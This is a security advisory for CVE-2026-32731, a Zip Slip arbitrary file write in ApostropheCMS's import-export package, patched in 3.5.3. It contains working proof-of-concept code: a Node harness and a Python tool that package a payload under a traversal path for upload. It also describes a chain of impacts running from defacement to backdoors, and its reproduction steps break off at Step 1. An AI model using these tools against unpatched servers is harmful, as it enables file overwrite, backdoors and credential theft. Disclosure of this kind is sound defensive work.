Advisory

GHSA-mwxc-m426-3f78

Also known as: CVE-2026-32731

Summary

ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction

Details

Reported: 2026-03-08
Status: patched and released in version 3.5.3 of @apostrophecms/import-export

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Product

| Field | Value |
|---|---|
| Repository | apostrophecms/apostrophe (monorepo) |
| Affected Package | @apostrophecms/import-export |
| Affected File | packages/import-export/lib/formats/gzip.js |
| Affected Function | extract(filepath, exportPath) — lines ~132–157 |
| Minimum Required Permission | Global Content Modify (any editor-level user with import access) |

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Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

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Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write
Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

  • Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection
ApostropheCMS serves <project-root>/public/ via Express static middleware:

// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables:

  • Full site defacement
  • Serving phishing pages from the legitimate CMS domain
  • Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)
If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite
Overwrite .env, app.config.js, database seed files, or any config file to:

  • Exfiltrate database credentials on next load
  • Redirect authentication to an attacker-controlled backend
  • Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service
Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.

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Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

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Proof of Concept

Two PoC artifacts are provided:

| File | Purpose |
|---|---|
| tmp-import-export-zip-slip-poc.js | Automated Node.js harness — verifies the write happens without a browser |
| make-slip-tar.py | Attacker tool — generates a real .tar.gz for upload via the CMS web UI |

---

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (`make-slip-tar.py`):

import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-03-18 19:49 UTC
Modified
2026-03-18 20:11 UTC

Affected packages and fixes

@apostrophecms/import-export

npm · All systems

Affected

  • introduced 0, fixed 3.5.3 (semver)

Fixed versions

3.5.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences